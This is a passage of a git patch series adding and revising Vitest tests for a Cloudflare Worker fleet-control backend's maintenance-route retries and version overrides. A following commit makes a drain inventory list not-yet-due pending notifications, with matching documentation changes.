secrets.maintenanceAdmin, + fence, + 'candidate', + ) + : subject.inspect( + spec, + secrets.maintenanceAdmin, + override ? 'candidate' : undefined, + ), + }; + } + + it( + override + ? `retries ${operation} while the version override answer attests the previous version, until the candidate serves` + : 'retries inspect without override while the answer attests the previous version, until the inspected version serves', + async () => { + vi.useFakeTimers(); + try { + const requests: Request[] = []; + const events: string[] = []; + const digests = [staleDigest, staleDigest, expectedDigest]; + const request = vi.fn( + async ( + input: Parameters[0], + init?: RequestInit, + ) => { + requests.push(new Request(input, init)); + events.push('fetch'); + return maintenanceResponse(digests[requests.length - 1]); + }, + ); + const { invoke, fence } = setup(request); + vi.spyOn(fence, 'assertOwned').mockImplementation(async () => { + events.push('fence'); + }); + const pending = invoke(); + await vi.advanceTimersByTimeAsync(0); + expect(request).toHaveBeenCalledTimes(1); + await vi.advanceTimersByTimeAsync(1); + expect(request).toHaveBeenCalledTimes(1); + await vi.advanceTimersByTimeAsync(1); + expect(request).toHaveBeenCalledTimes(2); + await vi.advanceTimersByTimeAsync(1); + expect(request).toHaveBeenCalledTimes(2); + await vi.advanceTimersByTimeAsync(1); + expect(await pending).toMatchObject( + operation === 'ensureMaintenance' + ? { deploymentSpecDigest: expectedDigest } + : { maintenance: { deploymentSpecDigest: expectedDigest } }, + ); + expect(request).toHaveBeenCalledTimes(3); + for (const sent of requests) { + expect(sent.url).toBe( + new URL( + operation === 'ensureMaintenance' + ? '/admin/ensure-maintenance' + : '/admin/maintenance-status', + spec.maintenanceBaseUrl, + ).href, + ); + expect(sent.method).toBe( + operation === 'ensureMaintenance' ? 'POST' : 'GET', + ); + expect([...sent.headers]).toEqual([ + ['authorization', `Bearer ${secrets.maintenanceAdmin}`], + ...(override + ? [ + [ + 'cloudflare-workers-version-overrides', + `${spec.scriptName}="candidate"`, + ], + ] + : []), + ]); + } + expect(events).toEqual( + operation === 'ensureMaintenance' + ? ['fence', 'fetch', 'fence', 'fetch', 'fence', 'fetch'] + : ['fetch', 'fetch', 'fetch'], + ); + } finally { + vi.useRealTimers(); + } + }, + ); + + it( + override + ? 'names the deployment wait when the override answer never attests the candidate' + : 'names the deployment wait when the answer never attests the inspected version without override', + async () => { + vi.useFakeTimers(); + try { + const request = vi.fn(async () => maintenanceResponse(staleDigest)); + const { invoke } = setup(request); + const pending = expect(invoke()).rejects.toEqual( + new Error(`${mismatch} within 5 ms after the deployment change`), + ); + await vi.advanceTimersByTimeAsync(5); + await pending; + expect(request).toHaveBeenCalledTimes(3); + } finally { + vi.useRealTimers(); + } + }, + ); + + it( + override + ? 'passes an override answer that attests the candidate through without retrying' + : 'passes an answer that attests the inspected version through without override or retrying', + async () => { + const request = vi.fn(async () => maintenanceResponse()); + const { invoke } = setup(request); + await expect(invoke()).resolves.toBeDefined(); + expect(request).toHaveBeenCalledTimes(1); + }, + ); + + it('shares one deadline between platform 404s and stale deployment healths', async () => { + vi.useFakeTimers(); + try { + const request = vi.fn(async () => + request.mock.calls.length === 1 + ? platform404() + : maintenanceResponse(staleDigest), + ); + const { invoke } = setup(request); + const pending = expect(invoke()).rejects.toEqual( + new Error(`${mismatch} within 5 ms after the deployment change`), + ); + await vi.advanceTimersByTimeAsync(5); + await pending; + expect(request).toHaveBeenCalledTimes(3); + } finally { + vi.useRealTimers(); + } + }); + + it('preserves the deployment wait error when the next fetch times out at the deadline', async () => { + vi.useFakeTimers(); + try { + const request = vi.fn(async (): Promise => { + if (request.mock.calls.length === 1) { + return maintenanceResponse(staleDigest); + } + return new Promise((_resolve, reject) => { + setTimeout(() => reject(new Error('request timed out')), 3); + }); + }); + const { invoke } = setup(request); + const pending = expect(invoke()).rejects.toEqual( + new Error(`${mismatch} within 5 ms after the deployment change`), + ); + await vi.advanceTimersByTimeAsync(5); + await pending; + expect(request).toHaveBeenCalledTimes(2); + } finally { + vi.useRealTimers(); + } + }); + + it.each([ + [ + 'invalid digest', + { deploymentSpecDigest: 'invalid' }, + "maintenance response field 'deploymentSpecDigest' is invalid", + ], + [ + 'invalid health', + { deploymentSpecDigest: staleDigest, alarmAt: -1 }, + "maintenance response field 'alarmAt' is invalid", + ], + ])('rejects %s without retrying', async (_label, health, message) => { + const request = vi.fn(async () => Response.json(health)); + const { invoke } = setup(request); + await expect(invoke()).rejects.toThrow(message as string); + expect(request).toHaveBeenCalledTimes(1); + }); + + it('preserves the missing-digest policy without retrying', async () => { + const request = vi.fn(async () => Response.json({ alarmAt: 2_000 })); + const { invoke } = setup(request); + if (override) { + await expect(invoke()).rejects.toEqual(new Error(mismatch)); + } else { + await expect(invoke()).resolves.toMatchObject({ + maintenance: { armed: true }, + }); + } + expect(request).toHaveBeenCalledTimes(1); + }); + }); + } + + for (const operation of ['inspect', 'ensureMaintenance'] as const) { + function invoke( + subject: PlainWorkerBackend, + api: PlainWorkerProvisioningApiFake, + ) { + return operation === 'inspect' + ? subject.inspect(spec, secrets.maintenanceAdmin, 'candidate') + : subject.ensureMaintenance( + spec, + secrets.maintenanceAdmin, + api.fence(), + 'candidate', + ); + } + + it.each([ + 404, 500, + ])(`retries platform %i pages with the same ${operation} request until health is served`, async (status) => { + const api = new PlainWorkerProvisioningApiFake(); + deployedCandidate(api); + const requests: Request[] = []; + const request = vi.fn( + async (input: Parameters[0], init?: RequestInit) => { + requests.push(new Request(input, init)); + if (requests.length === 1) + return new Response('platform unavailable', { + status, + headers: { 'content-type': 'text/plain; charset=UTF-8' }, + }); + if (requests.length === 2) { + return new Response('route unavailable', { + status, + headers: { 'content-type': 'text/html; charset=UTF-8' }, + }); + } + return maintenanceResponse(); + }, + ); + const result = await invoke( + backend(api, { + fetch: request, + maintenanceRouteReadyTimeoutMs: 1_000, + maintenanceRouteReadyIntervalMs: 1, + }), + api, + ); + expect(result).toMatchObject( + operation === 'inspect' + ? { maintenance: { armed: true } } + : { armed: true }, + ); + expect(request).toHaveBeenCalledTimes(3); + for (const sent of requests) { + expect(sent.url).toBe( + new URL( + operation === 'inspect' + ? '/admin/maintenance-status' + : '/admin/ensure-maintenance', + spec.maintenanceBaseUrl, + ).href, + ); + expect(sent.method).toBe(operation === 'inspect' ? 'GET' : 'POST'); + expect([...sent.headers]).toEqual([ + ['authorization', `Bearer ${secrets.maintenanceAdmin}`], + [ + 'cloudflare-workers-version-overrides', + `${spec.scriptName}="candidate"`, + ], + ]); + } + expect(new Set(requests.map(({ signal }) => signal)).size).toBe(3); + expect( + api.events.filter((event) => event === 'assertOwned'), + ).toHaveLength(operation === 'inspect' ? 0 : 3); + }); + + it.each([ + [ + 'JSON Worker 404', + () => Response.json({ error: 'not_found' }, { status: 404 }), + ], + ...[404, 500].flatMap((status) => + ['text/plain', 'text/html'].flatMap((mediaType) => + ['cache-control', 'www-authenticate'].map( + (marker) => + [ + `${status} ${mediaType} with ${marker}`, + () => + new Response('unavailable', { + status, + headers: { + 'content-type': mediaType, + [marker]: + marker === 'cache-control' ? 'no-store' : 'Bearer', + }, + }), + ] as const, + ), + ), + ), + ['empty ingress 404', () => new Response(null, { status: 404 })], + [ + 'JSON Worker 500', + () => Response.json({ error: 'operation-refused' }, { status: 500 }), + ], + [ + 'Worker 401', + () => + Response.json( + { error: 'unauthorized' }, + { status: 401, headers: { 'www-authenticate': 'Bearer' } }, + ), + ], + [ + 'authenticated plain-text 404', + () => { + const response = platform404(); + response.headers.set('www-authenticate', 'Bearer'); + return response; + }, + ], + [ + 'authenticated HTML 404', + () => + new Response('', { + status: 404, + headers: { + 'content-type': 'text/html', + 'www-authenticate': 'Bearer', + }, + }), + ], + ] as const)(`passes a %s through ${operation} without retrying`, async (_label, response) => { + const api = new PlainWorkerProvisioningApiFake(); + deployedCandidate(api); + const request = vi.fn(async () => response()); + await expect( + invoke(backend(api, { fetch: request }), api), + ).rejects.toThrow( + `maintenance request failed with HTTP ${response().status}`, + ); + expect(request).toHaveBeenCalledTimes(1); + }); + + it(`names the route wait when an ${operation} retry times out at the deadline`, async () => { + vi.useFakeTimers(); + try { + const api = new PlainWorkerProvisioningApiFake(); + deployedCandidate(api); + const request = vi.fn(async (): Promise => { + if (request.mock.calls.length === 1) return platform404(); + return new Promise((_resolve, reject) => { + setTimeout(() => reject(new Error('request timed out')), 3); + }); + }); + const pending = expect( + invoke( + backend(api, { + fetch: request, + maintenanceRouteReadyTimeoutMs: 5, + maintenanceRouteReadyIntervalMs: 2, + }), + api, + ), + ).rejects.toThrow( + 'maintenance request failed with HTTP 404. workers.dev route did not serve within 5 ms; a Worker fetching another Worker on the same workers.dev subdomain needs the global_fetch_strictly_public compatibility flag', + ); + await vi.advanceTimersByTimeAsync(5); + await pending; + expect(request).toHaveBeenCalledTimes(2); + } finally { + vi.useRealTimers(); + } + }); + + it(`bounds the workers.dev route wait for ${operation}`, async () => { + vi.useFakeTimers(); + try { + const api = new PlainWorkerProvisioningApiFake(); + deployedCandidate(api); + const request = vi.fn(async () => platform404()); + const pending = expect( + invoke( + backend(api, { + fetch: request, + maintenanceRouteReadyTimeoutMs: 5, + maintenanceRouteReadyIntervalMs: 2, + }), + api, + ), + ).rejects.toThrow( + 'maintenance request failed with HTTP 404. workers.dev route did not serve within 5 ms; a Worker fetching another Worker on the same workers.dev subdomain needs the global_fetch_strictly_public compatibility flag', + ); + await vi.advanceTimersByTimeAsync(5); + await pending; + expect(request).toHaveBeenCalledTimes(3); + } finally { + vi.useRealTimers(); + } + }); + } + + it('defaults to a 60-second route wait with 2-second retries', async () => { + vi.useFakeTimers(); + try { + const api = new PlainWorkerProvisioningApiFake(); + deployedCandidate(api); + const request = vi.fn(async () => platform404()); + const pending = expect( + backend(api, { fetch: request }).ensureMaintenance( + spec, + secrets.maintenanceAdmin, + api.fence(), + 'candidate', + ), + ).rejects.toThrow( + 'maintenance request failed with HTTP 404. workers.dev route did not serve within 60000 ms; a Worker fetching another Worker on the same workers.dev subdomain needs the global_fetch_strictly_public compatibility flag', + ); + await vi.advanceTimersByTimeAsync(59_999); + expect(request).toHaveBeenCalledTimes(30); + await vi.advanceTimersByTimeAsync(1); + await pending; + expect(request).toHaveBeenCalledTimes(30); + } finally { + vi.useRealTimers(); + } + }); + + it.each([ + 'platform 404', + 'stale digest', + ])('refuses a maintenance retry after mutation ownership is lost (%s)', async (answer) => { + const api = new PlainWorkerProvisioningApiFake(); + deployedCandidate(api); + const owned = api.fence(); + vi.spyOn(owned, 'assertOwned') + .mockResolvedValueOnce() + .mockRejectedValue(new Error('lease lost')); + const request = vi.fn(async () => + answer === 'platform 404' + ? platform404() + : maintenanceResponse('f'.repeat(64)), + ); + await expect( + backend(api, { + fetch: request, + maintenanceRouteReadyIntervalMs: 1, + }).ensureMaintenance(spec, secrets.maintenanceAdmin, owned, 'candidate'), + ).rejects.toThrow('lease lost'); + expect(request).toHaveBeenCalledTimes(1); + }); +}); + describe('inspection across release bindings', () => { const target: DeploymentSpec = { ...spec, @@ -1480,30 +2411,37 @@ describe('PlainWorkerBackend core-policy refusals', () => { }); it('refuses a mismatched maintenance digest without promoting', async () => { - const api = new PlainWorkerProvisioningApiFake(); - deployedCandidate(api); - const request = vi.fn( - async (input: Parameters[0], init?: RequestInit) => { - expect(String(input)).toContain('/admin/ensure-maintenance'); - expect(init?.headers).toMatchObject({ - 'Cloudflare-Workers-Version-Overrides': `${spec.scriptName}="candidate"`, - }); - return maintenanceResponse('f'.repeat(64)); - }, - ); + vi.useFakeTimers(); + try { + const api = new PlainWorkerProvisioningApiFake(); + deployedCandidate(api); + const request = vi.fn( + async (input: Parameters[0], init?: RequestInit) => { + expect(String(input)).toContain('/admin/ensure-maintenance'); + expect(init?.headers).toMatchObject({ + 'Cloudflare-Workers-Version-Overrides': `${spec.scriptName}="candidate"`, + }); + return maintenanceResponse('f'.repeat(64)); + }, + ); - await expect( - backend(api, { fetch: request }).ensureMaintenance( - spec, - secrets.maintenanceAdmin, - api.fence(), - 'candidate', - ), - ).rejects.toThrow( - 'maintenance response did not attest fleet specification', - ); - expect(api.events).toEqual(['assertOwned']); - expect(api.events).not.toContain('mutation:createDeployment'); + const pending = expect( + backend(api, { fetch: request }).ensureMaintenance( + spec, + secrets.maintenanceAdmin, + api.fence(), + 'candidate', + ), + ).rejects.toThrow( + 'maintenance response did not attest fleet specification', + ); + await vi.advanceTimersByTimeAsync(60_000); + await pending; + expect(request).toHaveBeenCalledTimes(30); + expect(api.events).not.toContain('mutation:createDeployment'); + } finally { + vi.useRealTimers(); + } }); it('refuses a second secret deletion after live ownership changes', async () => { @@ -1538,6 +2476,95 @@ describe('PlainWorkerBackend core-policy refusals', () => { expect(api.secretNames.get(spec.scriptName)).toEqual(['B']); }); + it('accepts a version-list 404 on the page after the last version during the post-delete residual check', async () => { + const world = providerWorld(); + const digest = deploymentSpecDigest(spec); + const script = world.seedScript(spec.scriptName, { + versions: [ + { + versionId: 'candidate', + tag: digest, + bindings: [ + { type: 'd1', name: 'DB', database_id: database.id }, + ...Object.entries({ + DEPLOYMENT_TENANT: spec.tenantTag, + FLEET_ENVIRONMENT: spec.environment, + FLEET_SCHEMA_VERSION: String(spec.schemaVersion), + FLEET_SPEC_DIGEST: digest, + FLEET_INGRESS_CONTRACT: 'guarded-object-v1', + }).map(([name, text]) => ({ type: 'plain_text', name, text })), + ], + mainModule: spec.mainModule, + modules: spec.modules, + }, + ], + deployment: [{ versionId: 'candidate', percentage: 100 }], + subdomain: { enabled: false, previewsEnabled: false }, + }); + const persistedVersions = script.versions.map(({ versionId, tag }) => ({ + id: versionId, + annotations: { 'workers/tag': tag }, + })); + const projected = restProjection(world); + const postDeletePages: number[] = []; + const fixture = recordingFetch((request) => { + const url = new URL(request.url); + const authority = zoneAuthorityResponse(url, []); + if (authority) return authority; + if ( + !script.present && + url.pathname.endsWith(`/workers/scripts/${spec.scriptName}/versions`) + ) { + const page = Number(url.searchParams.get('page') ?? '1'); + postDeletePages.push(page); + return page === 1 + ? pageItems(persistedVersions, { + page: 1, + total_count: persistedVersions.length, + }) + : Response.json( + { + success: false, + errors: [ + { + code: 10007, + message: 'This Worker does not exist on your account.', + }, + ], + messages: [], + result: null, + }, + { status: 404 }, + ); + } + return projected(request); + }); + const client = new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'token', + plane: 'plain-worker', + rateCoordinator: testRateCoordinator(), + fetch: fixture.fetch, + requestTimeoutMs: 1_000, + }); + const subject = new PlainWorkerBackend({ + api: new CloudflareApiPlainWorkerProvisioningApi({ client }), + identityCaller: 'PlainWorkerBackend.test', + }); + + await expect( + subject.deleteWorker( + spec, + undefined, + database, + activeRelease, + mutationFence(), + ), + ).resolves.toBeUndefined(); + expect(postDeletePages).toEqual([1, 2]); + expect(world.mutationLog).toEqual([`delete-script:${spec.scriptName}`]); + }); + it('refuses deletion when a namespace remains after script deletion', async () => { const api = new PlainWorkerProvisioningApiFake(); api.scripts.add(spec.scriptName); diff --git a/packages/fleet-control/test/worker-attachment-scan.test.ts b/packages/fleet-control/test/worker-attachment-scan.test.ts index addfd527..b1f2886a 100644 --- a/packages/fleet-control/test/worker-attachment-scan.test.ts +++ b/packages/fleet-control/test/worker-attachment-scan.test.ts @@ -1888,6 +1888,29 @@ describe('Cloudflare Worker attachment scan', () => { expect(rawRequests).toBe(1); }); + it('accepts null result_info as a terminal dispatch script page', async () => { + let rawRequests = 0; + const fixture = recordingFetch((request) => { + const target = new URL(request.url); + if (target.pathname.endsWith('/workers/scripts')) return pageArray([]); + if (target.pathname.endsWith('/workers/dispatch/namespaces')) { + return pageArray([{ namespace_name: 'fleet' }]); + } + rawRequests += 1; + return Response.json({ + success: true, + errors: null, + messages: null, + result: [], + result_info: null, + }); + }); + await expect( + drain(client(fixture.fetch), D1_TARGET), + ).resolves.toMatchObject({ terminal: { status: 'complete' } }); + expect(rawRequests).toBe(1); + }); + it('injects authorization internally without serializing it into progress or errors', async () => { for (const terminalCursor of [null, ''] as const) { let rawRequests = 0; diff --git a/packages/fleet-control/test/wrangler-loop-backend.test.ts b/packages/fleet-control/test/wrangler-loop-backend.test.ts index 5e12e764..e1e8f9af 100644 --- a/packages/fleet-control/test/wrangler-loop-backend.test.ts +++ b/packages/fleet-control/test/wrangler-loop-backend.test.ts @@ -1546,6 +1546,8 @@ export default { expect(request).toHaveBeenCalledWith( new URL('https://control-acme.example.test/admin/maintenance-status'), { + method: 'GET', + signal: expect.any(AbortSignal), headers: { authorization: `Bearer ${secrets.maintenanceAdmin}` }, }, ); @@ -1613,53 +1615,63 @@ export default { }); it('inspects the tagged 0% candidate through a version override and rejects silent fallback', async () => { - const digest = deploymentSpecDigest(deployment); - const runner = new FakeRunner(async (arguments_) => { - const command = arguments_.slice(0, 2).join(' '); - if (command === 'deployments status') { - return { - stdout: JSON.stringify({ - versions: [ - { version_id: 'version-old', percentage: 100 }, - { version_id: 'version-next', percentage: 0 }, - ], - }), - stderr: '', - }; - } - if (command === 'versions list') { - return { - stdout: JSON.stringify([listedVersion('version-next', digest)]), - stderr: '', - }; - } - if (command === 'versions view') { - return { stdout: JSON.stringify(viewedVersion(digest)), stderr: '' }; - } - return { stdout: '', stderr: '' }; - }); - const request = vi.fn(async () => - Response.json({ - alarmAt: 2_000, - deploymentSpecDigest: 'b'.repeat(64), - }), - ); + vi.useFakeTimers(); + try { + const digest = deploymentSpecDigest(deployment); + const runner = new FakeRunner(async (arguments_) => { + const command = arguments_.slice(0, 2).join(' '); + if (command === 'deployments status') { + return { + stdout: JSON.stringify({ + versions: [ + { version_id: 'version-old', percentage: 100 }, + { version_id: 'version-next', percentage: 0 }, + ], + }), + stderr: '', + }; + } + if (command === 'versions list') { + return { + stdout: JSON.stringify([listedVersion('version-next', digest)]), + stderr: '', + }; + } + if (command === 'versions view') { + return { stdout: JSON.stringify(viewedVersion(digest)), stderr: '' }; + } + return { stdout: '', stderr: '' }; + }); + const request = vi.fn(async () => + Response.json({ + alarmAt: 2_000, + deploymentSpecDigest: 'b'.repeat(64), + }), + ); - await expect( - backend(runner, { fetch: request }).inspect( - deployment, - secrets.maintenanceAdmin, - ), - ).rejects.toThrow(/did not attest fleet specification digest/); - expect(request).toHaveBeenCalledWith( - new URL('https://control-acme.example.test/admin/maintenance-status'), - { - headers: { - authorization: `Bearer ${secrets.maintenanceAdmin}`, - 'Cloudflare-Workers-Version-Overrides': `${deployment.scriptName}="version-next"`, + const pending = expect( + backend(runner, { fetch: request }).inspect( + deployment, + secrets.maintenanceAdmin, + ), + ).rejects.toThrow(/did not attest fleet specification digest/); + await vi.advanceTimersByTimeAsync(60_000); + await pending; + expect(request).toHaveBeenCalledTimes(30); + expect(request).toHaveBeenCalledWith( + new URL('https://control-acme.example.test/admin/maintenance-status'), + { + method: 'GET', + signal: expect.any(AbortSignal), + headers: { + authorization: `Bearer ${secrets.maintenanceAdmin}`, + 'Cloudflare-Workers-Version-Overrides': `${deployment.scriptName}="version-next"`, + }, }, - }, - ); + ); + } finally { + vi.useRealTimers(); + } }); it.each([ diff --git a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts index 6f3b197c..e7e14b76 100644 --- a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts +++ b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts @@ -241,6 +241,39 @@ describe('WranglerPlainWorkerProvisioningApi parsing', () => { ); }); + it('accepts null errors and messages in Wrangler inventory envelopes', async () => { + const subject = await api( + new FakeRunner(async () => ({ + stdout: JSON.stringify({ + success: true, + errors: null, + messages: null, + result: [{ id: 'v1' }], + }), + stderr: '', + })), + ); + await expect(subject.listVersions('worker')).resolves.toEqual([ + { versionId: 'v1', tag: undefined }, + ]); + }); + + it('refuses non-array non-null errors in Wrangler inventory envelopes', async () => { + const subject = await api( + new FakeRunner(async () => ({ + stdout: JSON.stringify({ + success: true, + errors: 'bad', + result: [{ id: 'v1' }], + }), + stderr: '', + })), + ); + await expect(subject.listVersions('worker')).rejects.toThrow( + 'failed inventory result', + ); + }); + it('rejects invalid JSON with the operation name', async () => { const subject = await api( new FakeRunner(async () => ({ stdout: '{', stderr: '' })), @@ -444,6 +477,16 @@ describe('WranglerPlainWorkerProvisioningApi parsing', () => { ).toEqual([{ type: reconstructedBinding.type, name: binding.name }]); }); + it('refuses explicit null version bindings instead of reporting an empty binding list', async () => { + const subject = await api( + new FakeRunner(async () => ({ + stdout: JSON.stringify({ resources: { bindings: null } }), + stderr: '', + })), + ); + await expect(subject.viewVersion('worker', 'version')).rejects.toThrow(); + }); + it('reconstructs the exact unsupported provider wire objects', () => { expect( plainWorkerBindingsToProviderShape([ From c8c50392e633470c071723bb1372cead1f2b4058 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 15 Sep 2026 07:06:55 +0400 Subject: [PATCH 149/169] feat(flowsafe): list not-yet-due pending notifications in the inventory The pending-notifications inventory category listed only the pending rows whose delivery or summary time had come and reported the rest as a notDue total. A notification scheduled for later is work the runner still owes, so a drain proof taken from entries alone could declare a deployment drained while such a row was pending. The category lists every pending row, due or not, in key order. Its count is the number of rows in the category, as in every other category, and is taken on the first page of a sweep; the notDue total still says how many of the listed rows the dispatch scan does not select, including rows carrying neither timestamp; an entry carries summaryAt beside deliverAt when the row carries them, so an operator can tell the two apart against the reading's time. The CategoryQuery fields that let one category aggregate over a wider predicate than it paged had no other user and are removed; the count query is a single COUNT(*) over the category's own predicate. The operator drain procedures in the package README and the deployment reference say that a pending notification scheduled for later, or carrying no due timestamp, keeps the proof open; the do-runner design doc says how such a row leaves. A new integration test drives, through the production dispatch chain, a notification whose thread became ownerless after it was created. Each attempt reaches the thread and is refused with a 404 because the thread has no owner, is recorded as a bounded failure, and the row is discarded with delivery-attempts-exhausted after the configured two attempts; a further pass changes nothing. The inventory suite pins the enumeration, the per-fixture counts and the notDue total for rows with one, both or neither timestamp, and a sweep that stays non-empty while only a not-yet-due row is pending. A minor changeset records the package-visible change. Co-Authored-By: Claude Opus 5 --- ...lowsafe-inventory-not-due-notifications.md | 7 + docs/deployment-reference.md | 2 +- docs/do-runner-design.md | 2 + packages/flowsafe/README.md | 2 +- .../flowsafe/src/do-runner/inventory.test.ts | 115 ++++++++++++---- packages/flowsafe/src/do-runner/inventory.ts | 98 +++++--------- .../signal-ingestion.integration.test.ts | 123 ++++++++++++++++++ 7 files changed, 253 insertions(+), 96 deletions(-) create mode 100644 .changeset/flowsafe-inventory-not-due-notifications.md diff --git a/.changeset/flowsafe-inventory-not-due-notifications.md b/.changeset/flowsafe-inventory-not-due-notifications.md new file mode 100644 index 00000000..4d9c7fea --- /dev/null +++ b/.changeset/flowsafe-inventory-not-due-notifications.md @@ -0,0 +1,7 @@ +--- +'@proofoftech/flowsafe': minor +--- + +The pending-notifications inventory lists pending agent-inbox notifications whether due, scheduled for later, or carrying no due timestamp. Its count includes these rows, its notDue total identifies those not yet due, and entry details expose summaryAt alongside deliverAt. + +Pending notifications keep the deployment drain proof open until delivered, discarded, or deleted. Rescheduling alone does not clear the proof; a pending notification with neither timestamp requires a direct write or deletion because dispatch and retention leave it pending. diff --git a/docs/deployment-reference.md b/docs/deployment-reference.md index e367e28a..dd6c8b9a 100644 --- a/docs/deployment-reference.md +++ b/docs/deployment-reference.md @@ -179,7 +179,7 @@ Additive proof-identity columns preserve an active fence's epoch, revision, rece Runtime, approval and signal proof gates compare the complete stored generation. The [identity-data helpers](do-runner-design.md#validate-execution-identity-data) validate representations without changing caller authority; an admin reading or validated identity alone cannot authorize execution or establish owning quiescence. -`GET /admin/inventory` returns the category index. Add `?category=&cursor=&limit=` to page one category. Prove a drain only from `draining`: sweep every work category to empty twice, at least 60 seconds apart. Standing categories remain present by design, and persisted idle signals deliberately carry across the migration. +`GET /admin/inventory` returns the category index. Add `?category=&cursor=&limit=` to page one category. Prove a drain only from `draining`: sweep every work category to empty twice, at least 60 seconds apart. A pending agent-inbox notification scheduled for later, or carrying no due timestamp, is work and keeps the proof open. Standing categories remain present by design, and persisted idle signals deliberately carry across the migration. ### Configure the trusted caller epoch diff --git a/docs/do-runner-design.md b/docs/do-runner-design.md index 4dae8513..351030ce 100644 --- a/docs/do-runner-design.md +++ b/docs/do-runner-design.md @@ -458,6 +458,8 @@ A valid conditional miss returns `409` with `reason.code: 'FENCE_CAS_CONFLICT'`, `GET /admin/inventory` returns an index or one keyset-paginated category selected with `?category&cursor&limit`. The work categories are `runs`, `approvals-waiting`, `schedule-deferred-dispatches`, `pending-notifications`, `background-tasks`, `resource-owners`, and `start-reservations`. The standing categories are `schedules` and `signal-subscriptions`; they are reported for reconciliation and never required to empty. +`pending-notifications` lists every pending notification, due or not yet due, and reports the not-yet-due count as `notDue`. A notification scheduled for later keeps a drain unproven until it leaves the pending status (delivered or discarded) or is deleted; rescheduling alone does not clear it. A pending row carrying neither `deliverAt` nor `summaryAt` leaves through a direct write or deletion because no dispatch pass selects it and retention does not remove pending rows. + `INVENTORY_DRAIN_PROOF` defines a proof as two consecutive full sweeps with every work category empty, at least 60 seconds apart, while the fence remains `draining`. Each reading is a point-in-time observation rather than a snapshot and can move in either direction because draining still admits work. Empty results cannot over-count, and keyset pagination never skips a row that existed before the sweep began. If a host needs a hard guarantee, it can re-sweep once after transitioning to `migration-locked`. An empty post-lock sweep is conclusive. A non-empty sweep means work is still outstanding: either it entered after the proof or the lock parked it before it finished. Return to `draining`, let it finish, and repeat the proof before locking again. An inventory read taken under `migration-locked` measures what the fence parked rather than what the deployment would otherwise be doing. diff --git a/packages/flowsafe/README.md b/packages/flowsafe/README.md index 570e4bb7..28a25e40 100644 --- a/packages/flowsafe/README.md +++ b/packages/flowsafe/README.md @@ -320,7 +320,7 @@ D1 schedule mutations enforce the captured caller epoch at their final SQL bound With a configured fence, Runtime requires the actual D1 domain's positive initial-write witness before engine entry. Without a fence, capable D1 keeps its real namespace and ordinary persistence behavior; custom storage explicitly asserts no D1 namespace. Managed hosts persist preparation journals and require a matching nonpending durable outcome before acknowledging execution. A valid pending generation returns `RUN_START_PENDING` with status 503; keyed retries use the idempotent-start refusal contract. See the [runner design](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/do-runner-design.md#execution-fence-and-start-reservations) for exact claims, replay and recovery. -Use `GET /admin/inventory` while the fence remains `draining`. A drain is proven only after every work category is empty across two complete sweeps at least 60 seconds apart. Readings are point-in-time observations rather than snapshots and can move in either direction while draining admits work. Empty results cannot over-count, and keyset pagination never skips a row that existed before the sweep began. If you need a hard guarantee, re-sweep once after transitioning to `migration-locked`: an empty post-lock sweep is conclusive; a non-empty one means work is still outstanding, either because it entered after the proof or because the lock parked it before it finished. Return to `draining` and repeat the proof. An inventory read taken under `migration-locked` measures what the fence parked rather than what the deployment would otherwise be doing. Schedules and signal subscriptions are standing configuration and need not empty. Persisted idle signals are deliberately unenumerable and carry into the replacement deployment. +Use `GET /admin/inventory` while the fence remains `draining`. A drain is proven only after every work category is empty across two complete sweeps at least 60 seconds apart. A pending agent-inbox notification scheduled for later, or carrying no due timestamp, is work and keeps the proof open. Readings are point-in-time observations rather than snapshots and can move in either direction while draining admits work. Empty results cannot over-count, and keyset pagination never skips a row that existed before the sweep began. If you need a hard guarantee, re-sweep once after transitioning to `migration-locked`: an empty post-lock sweep is conclusive; a non-empty one means work is still outstanding, either because it entered after the proof or because the lock parked it before it finished. Return to `draining` and repeat the proof. An inventory read taken under `migration-locked` measures what the fence parked rather than what the deployment would otherwise be doing. Schedules and signal subscriptions are standing configuration and need not empty. Persisted idle signals are deliberately unenumerable and carry into the replacement deployment. ### Runtime ids are opaque diff --git a/packages/flowsafe/src/do-runner/inventory.test.ts b/packages/flowsafe/src/do-runner/inventory.test.ts index abf0b8c7..349df360 100644 --- a/packages/flowsafe/src/do-runner/inventory.test.ts +++ b/packages/flowsafe/src/do-runner/inventory.test.ts @@ -162,10 +162,7 @@ interface Fixture { inventory: DeploymentInventory; } -/** - * A deployment with every table created by its real owner, and one outstanding - * item in each work category plus one row in each standing category. - */ +/** A deployment with tables created by their production storage domains. */ async function seeded(): Promise { const sqlite = openSqlite(); const binding = sqliteUnitDatabase(sqlite); @@ -430,12 +427,12 @@ describe('deployment drain inventory', () => { expect(INVENTORY_DRAIN_PROOF.proof).toContain(recoveryCadence); }); - it('reads each work category with the predicate its production writer settles on', async () => { - // #given — one outstanding item per category beside settled siblings that - // must NOT be reported: a decided approval, a spent reservation, a - // completed background task, a delivered notification, settled fire - // history, and a released ownership row. - const { inventory } = await seeded(); + it('reads outstanding work including pending notifications due or not yet due', async () => { + const { inventory, sqlite } = await seeded(); + const summaryAt = new Date(NOW + 7_200_000).toISOString(); + sqlite + .prepare('UPDATE mastra_notifications SET summaryAt = ? WHERE id = ?') + .run(summaryAt, 'ntf-later'); // #when / #then — runs: the suspended run, annotated with its owner. const runs = await inventory.read('runs'); @@ -472,15 +469,14 @@ describe('deployment drain inventory', () => { ), ).toEqual([['trg-deferred']]); - // #then — notifications: only the DUE pending row is drainable work; the - // future-dated and the never-due rows are reported as a total instead. const notifications = await inventory.read('pending-notifications'); expect(notifications.entries.map((entry) => entry.key)).toEqual([ ['thr-1', 'ntf-due'], + ['thr-1', 'ntf-later'], + ['thr-1', 'ntf-never'], ]); - // `count` is this category's own rows (the DUE one); `notDue` describes - // the pending rows the page deliberately excludes. - expect(notifications.count).toBe(1); + expect(notifications.entries[1]?.detail.summaryAt).toBe(summaryAt); + expect(notifications.count).toBe(3); expect(notifications.totals).toEqual({ notDue: 2 }); // #then — background tasks: nonterminal only, and the fence-parked one is @@ -527,7 +523,7 @@ describe('deployment drain inventory', () => { futureOffset: '-000100-01-01T07:00:00-06:00', equalOffset: '-000100-01-01T16:00:00+0400', }, - 